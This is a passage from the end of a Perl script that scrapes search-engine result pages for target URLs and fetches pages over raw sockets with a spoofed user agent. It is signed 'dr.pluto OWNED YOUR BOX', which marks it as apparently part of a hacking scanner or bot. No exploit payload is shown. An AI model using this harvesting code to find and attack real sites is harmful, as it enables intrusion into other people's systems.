$query.="&start=$b";
my @lst=();
my $page = http_query($query);
while ($page =~ m/<h2 class=r><a href=\"?http:\/\/([^>\"]+)\"? class=l/g){
push (@lst,$1);
}
return (@lst);
}
sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;
my $page="";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq "") {$query="/";};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}
}
# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com
# NOTE: DONT REMOVE COPYRIGHTS
# dr.pluto (C) www.kamarmayat.org 2007